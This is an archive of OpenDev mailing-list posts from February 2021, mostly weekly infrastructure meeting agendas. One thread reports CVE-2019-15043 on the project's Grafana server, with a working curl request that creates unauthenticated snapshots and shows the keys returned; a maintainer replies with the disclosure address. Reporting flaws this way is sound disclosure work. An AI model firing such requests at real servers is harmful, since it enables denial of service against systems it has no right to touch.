From cboylan at sapwetik.org Mon Feb 1 22:05:22 2021 From: cboylan at sapwetik.org (Clark Boylan) Date: Mon, 01 Feb 2021 14:05:22 -0800 Subject: Meeting Agenda for February 2, 2020 Message-ID: <167d8218-85bb-47a7-9a2e-2637fbb95472@www.fastmail.com> We will meet February 2, 2020 at 19:00 UTC in #opendev-meeting with this agenda: == Agenda for next meeting == * Announcements * Actions from last meeting * Specs approval * Priority Efforts (Standing meeting agenda items. Please expand if you have subtopics.) ** [http://specs.openstack.org/openstack-infra/infra-specs/specs/update-config-management.html Update Config Management] *** topic:update-cfg-mgmt *** Zuul as CD engine ** OpenDev *** Service Coordinator position nominations **** http://lists.opendev.org/pipermail/service-discuss/2021-January/000161.html Only nomination appears to be from Clark. *** Gerrit account and group inconsistencies **** https://etherpad.opendev.org/p/gerrit-user-consistency-2021 High level notes. **** Group problems and 81 accounts with preferred emails missing external ids have been fixed. **** We have 28 accounts with preferred email addresses that don't have a matching external id **** We have ~642 accounts with conflicting emails in their external ids. This needs more investigating to better understand the fix for. **** Need to correct the ~642 external id issues before we can push updates to refs/meta/external-ids with Gerrit online. **** Workaround is we can stop gerrit, push to external ids directly, reindex accounts (and groups?), start gerrit, then clear accounts caches (and groups caches?) **** Next steps ***** Classify users further into situation groups ***** Decide on next steps for users depending on their situation group. ***** Fix the preferred email issue if possible as this can be done with gerrit online ***** Start a refs/meta/external-ids checkout in a shared location and begin committing fixes to it. If we can't push all the fixes as separate commits we can squash them together and then push. *** WIP changes (ianw 20210105) **** Zuul should now support these properly. We need to retest. *** Gerrit 3.3.1 includes the fix for Zuul and Zuul has the fixes too. **** https://review.opendev.org/c/opendev/system-config/+/765021 Build 3.3 images, currently appears to need some work. *** Configuration tuning **** Using strong refs for jgit caches **** Batch user groups and threads * General topics ** OpenAFS cluster status (clarkb 20210202) *** What is server cluster status? Have they all been upgraded to 1.8.6? **** Upgrading servers to bionic then focal in place is next? ** Bup and Borg Backups (clarkb 20210202) *** wiki backup status *** borg disk consumption workarounds ** Picking up steam on Puppet -> Ansible rewrites (clarkb 20210202) *** Enable Xenial -> Bionic/Focal system upgrades *** Clarkb to write up an etherpad that captures the rough TODO list. ** Deploy a new refstack.openstack.org server (kopecmartin 20210202) *** https://review.opendev.org/c/opendev/system-config/+/705258 *** Help with deploying the server is needed *** kopecmartin will help with testing the new instance * Open discussion From cboylan at sapwetik.org Mon Feb 8 22:03:01 2021 From: cboylan at sapwetik.org (Clark Boylan) Date: Mon, 08 Feb 2021 14:03:01 -0800 Subject: Meeting Agenda for February 9, 2021 Message-ID: <275e203d-4beb-4795-8dcc-9ba2114bd9b0@www.fastmail.com> We will meet in #opendev-meeting at 19:00 UTC on February 9, 2021 with this agenda: == Agenda for next meeting == * Announcements * Actions from last meeting * Specs approval * Priority Efforts (Standing meeting agenda items. Please expand if you have subtopics.) ** [http://specs.openstack.org/openstack-infra/infra-specs/specs/update-config-management.html Update Config Management] *** topic:update-cfg-mgmt *** Zuul as CD engine ** OpenDev *** Gerrit account and group inconsistencies **** https://etherpad.opendev.org/p/gerrit-user-consistency-2021 High level notes. **** Group problems and 92 accounts with preferred emails missing external ids have been fixed. **** We have 17 accounts with preferred email addresses that don't have a matching external id **** We have ~642 accounts with conflicting emails in their external ids. This needs more investigating to better understand the fix for. **** Need to correct the ~642 external id issues before we can push updates to refs/meta/external-ids with Gerrit online. **** Workaround is we can stop Gerrit, push to external ids directly, reindex accounts (and groups?), start gerrit, then clear accounts caches (and groups caches?) **** Next steps ***** Classify users further into situation groups ***** Decide on next steps for users depending on their situation group. ***** Fix the preferred email issue if possible as this can be done with gerrit online ***** Start a refs/meta/external-ids checkout in a shared location and begin committing fixes to it. If we can't push all the fixes as separate commits we can squash them together and then push. *** Gerrit 3.3.1 includes the fix for Zuul and Zuul has the fixes too. **** https://review.opendev.org/c/opendev/system-config/+/765021 Build 3.3 images, currently appears to need some work. *** Configuration tuning **** Using strong refs for jgit caches **** Batch user groups and threads *** Gitea OOMs **** https://review.opendev.org/c/opendev/system-config/+/774023 Rate limiting framework change for haproxy. * General topics ** OpenAFS cluster status (clarkb 20210209) *** What is server cluster status? Have they all been upgraded to 1.8.6? **** Upgrading servers to bionic then focal in place is next? ** Bup and Borg Backups (clarkb 20210209) *** wiki backup status *** borg disk consumption workarounds ** Picking up steam on Puppet -> Ansible rewrites (clarkb 20210209) *** Enable Xenial -> Bionic/Focal system upgrades *** https://etherpad.opendev.org/p/infra-puppet-conversions-and-xenial-upgrades Start capturing TODO list here ** Deploy a new refstack.openstack.org server (kopecmartin 20210209) *** https://review.opendev.org/c/opendev/system-config/+/705258 *** ianw offered to help with the deployment side *** kopecmartin will help with testing the new instance ** Meetpad was not functional late last week. Seems fine now (clarkb 2020210209) * Open discussion From dgirlwhohacks at gmail.com Sun Feb 14 17:47:08 2021 From: dgirlwhohacks at gmail.com (Divya Singh) Date: Sun, 14 Feb 2021 17:47:08 +0000 Subject: Critical Vulnerability Report Message-ID: HEY SECURITY TEAM, I'm Security Researcher I have found a critical vulnerability at one of your domain that is cve-2019-15043 which can led to DDOS attack and can make system go down by grafana snapshot instance Vuln url: https://grafana.opendev.org/api/snapshots POC: root at kali:/home/kali# curl -s XPOST https://grafana.opendev.org/api/snapshots -H "Accept: application/json" -H "Content-Type: application/json" -d '{"dashboard": {}}' | json_pp { "deleteKey" : "6mYFALwQmmpImHeKS30XtFw8ogmoHaSm", "deleteUrl" : " http://localhost:3000/api/snapshots-delete/6mYFALwQmmpImHeKS30XtFw8ogmoHaSm ", "key" : "91H6lcVrwiivMuW1H2iAKcUsZwYU2xfO", "url" : " http://localhost:3000/dashboard/snapshot/91H6lcVrwiivMuW1H2iAKcUsZwYU2xfO" } for more reference - https://aaron-hoffmann.com/blog/cve-2019-15043/ Fix it to latest grafana instance Best Regards, Divya Singh - @Dgirlwhohacks -------------- next part -------------- An HTML attachment was scrubbed... URL: From iwienand at redhat.com Mon Feb 15 04:35:05 2021 From: iwienand at redhat.com (Ian Wienand) Date: Mon, 15 Feb 2021 15:35:05 +1100 Subject: Critical Vulnerability Report In-Reply-To: References: Message-ID: <20210215043505.GA535053@fedora19.localdomain> On Sun, Feb 14, 2021 at 05:47:08PM +0000, Divya Singh wrote: > I have found a critical vulnerability at one of your domain that is > cve-2019-15043 > which can led to DDOS attack and can make system go down by grafana snapshot > instance Thank you for your report and we will deal with this. For future reference, security issues can be reported via the service-incident at opendev.org address. You certainly could not be expected to know this as we have not done a good job at making this clear. I have proposed [1] to hopefully make this more obvious on the main system-config documentation page. If there was anywhere else you looked for disclosure addresses without success please let us know, and we can work to update that too. -i [1] https://review.opendev.org/c/opendev/system-config/+/775554 From iwienand at redhat.com Mon Feb 15 21:30:11 2021 From: iwienand at redhat.com (Ian Wienand) Date: Tue, 16 Feb 2021 08:30:11 +1100 Subject: Critical Vulnerability Report In-Reply-To: <20210215043505.GA535053@fedora19.localdomain> References: <20210215043505.GA535053@fedora19.localdomain> Message-ID: <20210215213011.GD535053@fedora19.localdomain> On Mon, Feb 15, 2021 at 03:35:05PM +1100, Ian Wienand wrote: > For future reference, security issues can be reported via the > service-incident at opendev.org address. Sorry, my typo: that should be service-incident at lists.opendev.org (note the lists :) -i From cboylan at sapwetik.org Tue Feb 16 15:36:39 2021 From: cboylan at sapwetik.org (Clark Boylan) Date: Tue, 16 Feb 2021 07:36:39 -0800 Subject: Meeting Agenda for February 16, 2021 Message-ID: <19825bbe-ab30-4697-bafc-c7118ea129f4@www.fastmail.com> Hello, we will meet February 16, 2021 at 19:00UTC in #opendev-meeting on freenode with this agenda: == Agenda for next meeting == * Announcements * Actions from last meeting * Specs approval * Priority Efforts (Standing meeting agenda items. Please expand if you have subtopics.) ** [http://specs.openstack.org/openstack-infra/infra-specs/specs/update-config-management.html Update Config Management] *** topic:update-cfg-mgmt *** Zuul as CD engine ** OpenDev *** Gerrit account and group inconsistencies **** https://etherpad.opendev.org/p/gerrit-user-consistency-2021 High level notes. **** Group problems and 92 accounts with preferred emails missing external ids have been fixed. **** We have 17 accounts with preferred email addresses that don't have a matching external id **** We have ~642 accounts with conflicting emails in their external ids. This needs more investigating to better understand the fix for. **** Need to correct the ~642 external id issues before we can push updates to refs/meta/external-ids with Gerrit online. **** Workaround is we can stop Gerrit, push to external ids directly, reindex accounts (and groups?), start gerrit, then clear accounts caches (and groups caches?) **** Next steps ***** Classify users further into situation groups ***** Decide on next steps for users depending on their situation group. ***** Fix the preferred email issue if possible as this can be done with gerrit online ***** Start a refs/meta/external-ids checkout in a shared location and begin committing fixes to it. If we can't push all the fixes as separate commits we can squash them together and then push. ***** Could really use a second or third set of eyes to review my notes and decisions. Will help ensure that the next steps I've described for specific accounts are good. *** Gerrit 3.3.1 includes the fix for Zuul and Zuul has the fixes too. **** https://review.opendev.org/c/opendev/system-config/+/775287 **** https://review.opendev.org/c/opendev/system-config/+/773807 *** Configuration tuning **** Using strong refs for jgit caches **** Batch user groups and threads *** Gitea OOMs **** https://review.opendev.org/c/opendev/system-config/+/774023 Rate limiting framework change for haproxy. **** https://review.opendev.org/c/opendev/system-config/+/775051 Dstat stat gathering in our system-config-run jobs to measure relative performance impacts. * General topics ** OpenAFS cluster status (clarkb 20210216) *** What is server cluster status? Have they all been upgraded to 1.8.6? **** Upgrading servers to bionic then focal in place is next? ** Bup and Borg Backups (clarkb 20210216) *** wiki backup status *** borg disk consumption workarounds ** Picking up steam on Puppet -> Ansible rewrites (clarkb 20210216) *** Enable Xenial -> Bionic/Focal system upgrades *** https://etherpad.opendev.org/p/infra-puppet-conversions-and-xenial-upgrades Start capturing TODO list here ** Deploy a new refstack.openstack.org server (kopecmartin 20210216) *** Ready for testing? ** opendev.org not reachable via IPv6 from some ISPs (frickler 20210215) *** Caused by missing/inconsistent IRR records for the networks that vexxhost uses *** Pinged mnaser a couple of times but no progress so far *** Added here for increased visibility and tracking * Open discussion Sorry for the delay in sending this out. I had meant to get it out yesterday and had even prepped it to go out but then got distracted by some server updates and this was forgotten. From cboylan at sapwetik.org Mon Feb 22 21:49:09 2021 From: cboylan at sapwetik.org (Clark Boylan) Date: Mon, 22 Feb 2021 13:49:09 -0800 Subject: Meeting Agenda for February 23, 2021 Message-ID: <1a5e12ae-2524-4707-b230-4f70a55d5029@www.fastmail.com> We will meet with this agenda on February 23, 2021, at 19:00UTC in #opendev-meeting. == Agenda for next meeting == * Announcements * Actions from last meeting * Specs approval * Priority Efforts (Standing meeting agenda items. Please expand if you have subtopics.) ** [http://specs.openstack.org/openstack-infra/infra-specs/specs/update-config-management.html Update Config Management] *** topic:update-cfg-mgmt *** Zuul as CD engine ** OpenDev *** Gerrit account and group inconsistencies **** https://etherpad.opendev.org/p/gerrit-user-consistency-2021 High level notes. **** Group problems and 92 accounts with preferred emails missing external ids have been fixed. **** We have 17 accounts with preferred email addresses that don't have a matching external id **** We have ~642 accounts with conflicting emails in their external ids. This needs more investigating to better understand the fix for. **** Need to correct the ~642 external id issues before we can push updates to refs/meta/external-ids with Gerrit online. **** Workaround is we can stop Gerrit, push to external ids directly, reindex accounts (and groups?), start gerrit, then clear accounts caches (and groups caches?) **** Next steps ***** Classify users further into situation groups ***** Decide on next steps for users depending on their situation group. ***** Fix the preferred email issue if possible as this can be done with gerrit online ***** Start a refs/meta/external-ids checkout in a shared location and begin committing fixes to it. If we can't push all the fixes as separate commits we can squash them together and then push. ***** Fungi suggests we simply identify the active accounts then retire the rest for simplicity and speed. Clarkb likes this idea. ***** Could really use a second or third set of eyes to review my notes and decisions. Will help ensure that the next steps I've described for specific accounts are good. *** Configuration tuning **** Using strong refs for jgit caches **** Batch user groups and threads *** Gitea OOMs **** https://review.opendev.org/c/opendev/system-config/+/774023 Rate limiting framework change for haproxy. **** https://review.opendev.org/c/opendev/system-config/+/775051 Dstat stat gathering in our system-config-run jobs to measure relative performance impacts. * General topics ** OpenAFS cluster status (clarkb 20210223) *** Upgrading servers to Bionic then Focal next. ** Bup and Borg Backups (clarkb 20210223) *** wiki backup status *** borg disk consumption workarounds ** Picking up steam on Puppet -> Ansible rewrites (clarkb 20210223) *** Enable Xenial -> Bionic/Focal system upgrades *** https://etherpad.opendev.org/p/infra-puppet-conversions-and-xenial-upgrades Start capturing TODO list here *** Zuul service host updates in progress now. ** Deploy a new refstack.openstack.org server (kopecmartin 20210223) *** Ready for testing? ** Bridge disk space (clarkb 20210223) *** Our ansible logging is consuming a fair bit but user homedirs and /opt are other major consumers. * Open discussion